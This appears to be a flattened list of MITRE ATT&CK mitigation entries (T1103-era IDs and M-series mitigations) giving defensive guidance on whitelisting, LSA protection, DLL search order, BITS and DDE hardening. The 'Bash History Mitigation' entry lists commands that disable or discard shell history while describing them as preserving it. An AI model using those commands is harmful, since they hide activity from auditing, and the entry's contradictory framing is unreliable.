Identify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.
T1155AppleScript MitigationRequire that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing (Citation: applescript signing). This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.
T1017Application Deployment Software MitigationGrant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through Exploitation for Privilege Escalation.

If the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.
M1013Application Developer GuidanceThis mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.
M1048Application Isolation and SandboxingRestrict execution of code to a virtual environment on or in transit to an endpoint system.
T1138Application Shimming MitigationThere currently aren’t a lot of ways to mitigate application shimming. Disabling the Shim Engine isn’t recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the “auto-elevate” flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC.

Changing UAC settings to “Always Notify” will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.
T1010Application Window Discovery MitigationIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1123Audio Capture MitigationMitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.

Identify and block potentially malicious software that may be used to record audio by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
M1047AuditPerform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.
T1131Authentication Package MitigationWindows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)
T1119Automated Collection MitigationEncryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through Input Capture and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through Brute Force techniques.

Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1020Automated Exfiltration MitigationIdentify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1139Bash History MitigationThere are multiple methods of preventing a user’s command history from being flushed to their .bash_history file, including use of the following commands:
set +o history and set -o history to start logging again;
unset HISTFILE being added to a user’s .bash_rc file; and
ln -s /dev/null ~/.bash_history to write commands to /dev/nullinstead.
M1040Behavior Prevention on EndpointUse capabilities to prevent suspicious behavior patterns from occurring on endpoint systems. This could include suspicious process, file, API call, etc. behavior.
T1009Binary Padding MitigationIdentify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1197BITS Jobs MitigationThis type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, disabling all BITS functionality will likely have unintended side effects, such as preventing legitimate software patching and updating. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: Mondok Windows PiggyBack BITS May 2007)

Modify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.

Consider limiting access to the BITS interface to specific users or groups. (Citation: Symantec BITS May 2007)

Consider reducing the default BITS job lifetime in Group Policy or by editing the JobInactivityTimeout and MaxDownloadTime Registry values in HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS. (Citation: Microsoft BITS)
M1046Boot IntegrityUse secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.
T1067Bootkit MitigationEnsure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)
T1217Browser Bookmark Discovery MitigationFile system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. For example, mitigating accesses to browser bookmark files will likely have unintended side effects such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1176Browser Extensions MitigationOnly install browser extensions from trusted sources that can be verified. Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.

Browser extensions for some browsers can be controlled through Group Policy. Set a browser extension white or black list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)

Change settings to prevent the browser from installing extensions without sufficient permissions.

Close out all browser sessions when finished using them.
T1110Brute Force MitigationSet account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed.
Too strict a policy can create a denial of service condition and render environments un-usable, with all accounts being locked-out permanently. Use multifactor authentication. Follow best practices for mitigating access to Valid Accounts

Refer to NIST guidelines when creating passwords.(Citation: NIST 800-63-3)

Where possible, also enable multi factor authentication on external facing services.
T1088Bypass User Account Control MitigationRemove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as DLL Search Order Hijacking.

Check for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate. (Citation: Github UACMe)
T1042Change Default File Association MitigationDirect mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft’s best practices for file associations. (Citation: MSDN File Associations)

Identify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1146Clear Command History MitigationPreventing users from deleting or writing to certain files can stop adversaries from maliciously altering their ~/.bash_history files. Additionally, making these environment variables readonly can make sure that the history is preserved (Citation: Securing bash history).
T1115Clipboard Data MitigationInstead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1191CMSTP MitigationCMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation). Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 2017)
M1045Code SigningEnforce binary and application integrity with digital signature verification to prevent untrusted code from executing.
T1116Code Signing MitigationProcess whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system. (Citation: NSA MS AppLocker) (Citation: TechNet Trusted Publishers) (Citation: Securelist Digital Certificates)
T1043Commonly Used Port MitigationNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
T1092Communication Through Removable Media MitigationDisable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)
T1500Compile After Delivery MitigationThis type of technique cannot be easily mitigated with preventive controls or patched since it is based on the abuse of operating system design features. For example, blocking all file compilation may have unintended side effects, such as preventing legitimate OS frameworks and code development mechanisms from operating properly. Consider removing compilers if not needed, otherwise efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.

Identify unnecessary system utilities or potentially malicious software that may be used to decrypt, deobfuscate, decode, and compile files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1223Compiled HTML File MitigationConsider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files. (Citation: PaloAlto Preventing Opportunistic Attacks Apr 2016) Also consider using application whitelisting to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.
T1109Component Firmware MitigationPrevent adversary access to privileged accounts or access necessary to perform this technique.

Consider removing and replacing system components suspected of being compromised.
T1122Component Object Model Hijacking MitigationDirect mitigation of this technique may not be recommended for a particular environment since COM objects are a legitimate part of the operating system and installed software. Blocking COM object changes may have unforeseen side effects to legitimate functionality.

Instead, identify and block potentially malicious software that may execute, or be executed by, this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1196Control Panel Items MitigationThis type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls and/or execution of particular file extensions will likely have unintended side effects, such as preventing legitimate software (i.e., drivers and configuration tools) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.

Restrict storage and execution of Control Panel items to protected directories, such as C:\Windows, rather than user directories.

Index known safe Control Panel items and block potentially malicious software using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executable files.

Consider fully enabling User Account Control (UAC) to impede system-wide changes from illegitimate administrators. (Citation: Microsoft UAC)
T1136Create Account MitigationUse and enforce multifactor authentication. Follow guidelines to prevent or limit adversary access to Valid Accounts that may be used to create privileged accounts within an environment.

Adversaries that create local accounts on systems may have limited access within a network if access levels are properly locked down. These accounts may only be needed for persistence on individual systems and their usefulness depends on the utility of the system they reside on.

Protect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.
M1043Credential Access ProtectionUse capabilities to prevent successful credential access by adversaries; including blocking forms of credential dumping.
T1003Credential Dumping Mitigation### Windows

Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using Valid Accounts if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)

On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)

Identify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)

Manage the access control list for “Replicating Directory Changes” and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)

Consider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)

### Linux

Scraping the passwords from memory requires root privileges. Follow best practices in restricting access to escalated privileges to avoid hostile programs from accessing such sensitive regions of memory.
T1081Credentials in Files MitigationEstablish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences. (Citation: Microsoft MS14-025)
T1214Credentials in Registry MitigationDo not store credentials within the Registry. Proactively search for credentials within Registry keys and attempt to remediate the risk. If necessary software must store credentials, then ensure those accounts have limited permissions so they cannot be abused if obtained by an adversary.
T1094Custom Command and Control Protocol MitigationProperly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
T1024Custom Cryptographic Protocol MitigationNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
M1053Data BackupTake and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.
T1002Data Compressed MitigationIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)

If network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.
T1488Data Destruction MitigationConsider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.

Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)
T1132Data Encoding MitigationNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
T1486Data Encrypted for Impact MitigationConsider implementing IT disaster recovery plans that contain procedures for regularly taking and testing data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP)

In some cases, the means to decrypt files affected by a ransomware campaign is released to the public. Research trusted sources for public releases of decryptor tools/keys to reverse the effects of ransomware.

Identify potentially malicious software and audit and/or block it by using whitelisting(Citation: Beechey 2010) tools, like AppLocker,(Citation: Windows Commands JPCERT)(Citation: NSA MS AppLocker) or Software Restriction Policies(Citation: Corio 2008) where appropriate.(Citation: TechNet Applocker vs SRP)
T1022Data Encrypted MitigationIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1213Data from Information Repositories MitigationTo mitigate adversary access to information repositories for collection:

- Develop and publish policies that define acceptable information to be stored
- Appropriate implementation of access control mechanisms that include both authentication and appropriate authorization
- Enforce the principle of least-privilege
- Periodic privilege review of accounts
- Mitigate access to Valid Accounts that may be used to access repositories
T1005Data from Local System MitigationIdentify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1039Data from Network Shared Drive MitigationIdentify unnecessary system utilities or potentially malicious software that may be used to collect data from a network share, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
T1025Data from Removable Media MitigationIdentify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
M1057Data Loss PreventionUse a data loss prevention (DLP) strategy to categorize sensitive data, identify data formats indicative of personal identifiable information (PII), and restrict exfiltration of sensitive data.(Citation: PurpleSec Data Loss Prevention)
T1001Data Obfuscation MitigationNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
T1074Data Staged MitigationIdentify system utilities, remote access or third-party tools, users or potentially malicious software that may be used to store compressed or encrypted data in a publicly writeable directory, central location, or commonly used staging directories (e.g. recycle bin) that is indicative of non-standard behavior, and audit and/or block them by using file integrity monitoring tools where appropriate. Consider applying data size limits or blocking file writes of common compression and encryption utilities such as 7zip, RAR, ZIP, or zlib on frequently used staging directories or central locations and monitor attempted violations of those restrictions.
T1030Data Transfer Size Limits MitigationNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
T1207DCShadow MitigationThis type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.
T1491Defacement MitigationImplementing best practices for websites such as defending against Exploit Public-Facing Application (Citation: OWASP Top 10 2017). Consider implementing IT disaster recovery plans that contain procedures for taking regular data backups that can be used to restore organizational data. (Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.
T1140Deobfuscate/Decode Files or Information MitigationIdentify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
M1042Disable or Remove Feature or ProgramRemove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.
T1089Disabling Security Tools MitigationEnsure proper process, registry, and file permissions are in place to prevent adversaries from disabling or interfering with security services.
T1175Distributed Component Object Model MitigationModify Registry settings (directly or using Dcomcnfg.exe) in HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID{AppID_GUID} associated with the process-wide security of individual COM applications. (Citation: Microsoft Process Wide Com Keys)

Modify Registry settings (directly or using Dcomcnfg.exe) in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole associated with system-wide security defaults for all COM applications that do no set their own process-wide security. (Citation: Microsoft System Wide Com Keys) (Citation: Microsoft COM ACL)

Consider disabling DCOM through Dcomcnfg.exe. (Citation: Microsoft Disable DCOM)

Enable Windows firewall, which prevents DCOM instantiation by default.

Ensure all COM alerts and Protected View are enabled. (Citation: Microsoft Protected View)
T1038DLL Search Order Hijacking MitigationDisallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm

Enable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. %SYSTEMROOT%)to be used before local directory DLLs (e.g. a user’s home directory). The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDLLSearchMode (Citation: Microsoft DLL Search)

Use auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)

Identify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.
T1073DLL Side-Loading MitigationUpdate software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.
M1055Do Not MitigateThis category is to associate techniques that mitigation might increase risk of compromise and therefore mitigation is not recommended.
T1172Domain Fronting MitigationIf it is possible to inspect HTTPS traffic, the captures can be analyzed for connections that appear to be Domain Fronting.

In order to use domain fronting, attackers will likely need to deploy additional tools to compromised systems. (Citation: FireEye APT29 Domain Fronting With TOR March 2017) (Citation: Mandiant No Easy Breach) It may be possible to detect or prevent the installation of these tools with Host-based solutions.
T1483Domain Generation Algorithms MitigationThis technique may be difficult to mitigate since the domains can be registered just before they are used, and disposed shortly after. Malware researchers can reverse-engineer malware variants that use DGAs and determine future domains that the malware will attempt to contact, but this is a time and resource intensive effort.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA Brute Force) Malware is also increasingly incorporating seed values that can be unique for each instance, which would then need to be determined to extract future generated domains. In some cases, the seed that a particular sample uses can be extracted from DNS traffic.(Citation: Akamai DGA Mitigation) Even so, there can be thousands of possible domains generated per day; this makes it impractical for defenders to preemptively register all possible C2 domains due to the cost. In some cases a local DNS sinkhole may be used to help prevent DGA-based command and control at a reduced cost.

Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
T1482Domain Trust Discovery MitigationMap the trusts within existing domains/forests and keep trust relationships to a minimum. Employ network segmentation for sensitive domains.(Citation: Harmj0y Domain Trusts)
T1189Drive-by Compromise MitigationDrive-by compromise relies on there being a vulnerable piece of software on the client end systems. Use modern browsers with security features turned on. Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique.

For malicious code served up through ads, adblockers can help prevent that code from executing in the first place. Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.

Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Other types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)

Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.
T1157Dylib Hijacking MitigationPrevent users from being able to write files to the search paths for applications, both in the folders where applications are run from and the standard dylib folders. If users can’t write to these directories, then they can’t intercept the search path.
T1173Dynamic Data Exchange MitigationRegistry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created, and enabled by default, Registry keys to completely disable DDE execution in Word and Excel. (Citation: Microsoft ADV170021 Dec 2017)

Ensure Protected View is enabled (Citation: Microsoft Protected View) and consider disabling embedded files in Office programs, such as OneNote, not enrolled in Protected View. (Citation: Enigma Reviving DDE Jan 2018) (Citation: GitHub Disable DDEAUTO Oct 2017)

On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs. (Citation: Microsoft ASR Nov 2017) (Citation: Enigma Reviving DDE Jan 2018)
T1114Email Collection MitigationUse of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.

Use of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.

Identify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)
M1041Encrypt Sensitive InformationProtect sensitive information with strong encryption.
T1499Endpoint Denial of Service MitigationLeverage services provided by Content Delivery Networks (CDN) or providers specializing in DoS mitigations to filter traffic upstream from services.(Citation: CERT-EU DDoS March 2017) Filter boundary traffic by blocking source addresses sourcing the attack, blocking ports that are being targeted, or blocking protocols being used for transport. To defend against SYN floods, enable SYN Cookies.
M1039Environment Variable PermissionsPrevent modification of environment variables by unauthorized users and groups.
T1480Environmental Keying MitigationThis technique likely should not be mitigated with preventative controls because it may protect unintended targets from being compromised. If targeted, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.
M1038Execution PreventionBlock execution of code on a system through application control, and/or script blocking.
T1129Execution through Module Load MitigationDirectly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.
T1041Exfiltration Over Command and Control Channel MitigationMitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)
T1011Exfiltration Over Other Network Medium MitigationEnsure host-based sensors maintain visibility into usage of all network adapters and prevent the creation of new ones where possible. (Citation: Microsoft GPO Bluetooth FEB 2009) (Citation: TechRepublic Wireless GPO FEB 2009)
T1052Exfiltration Over Physical Medium MitigationDisable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)
M1050Exploit ProtectionUse capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.
T1190Exploit Public-Facing Application MitigationApplication isolation and least privilege help lesson the impact of an exploit. Application isolation will limit what other processes and system features the exploited target can access, and least privilege for service accounts will limit what permissions the exploited process gets on the rest of the system. Web Application Firewalls may be used to limit exposure of applications.

Segment externally facing servers and services from the rest of the network with a DMZ or on separate hosting infrastructure.

Use secure coding best practices when designing custom software that is meant for deployment to externally facing systems. Avoid issues documented by OWASP, CWE, and other software weakness identification efforts.

Regularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.
T1203Exploitation for Client Execution MitigationBrowser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)

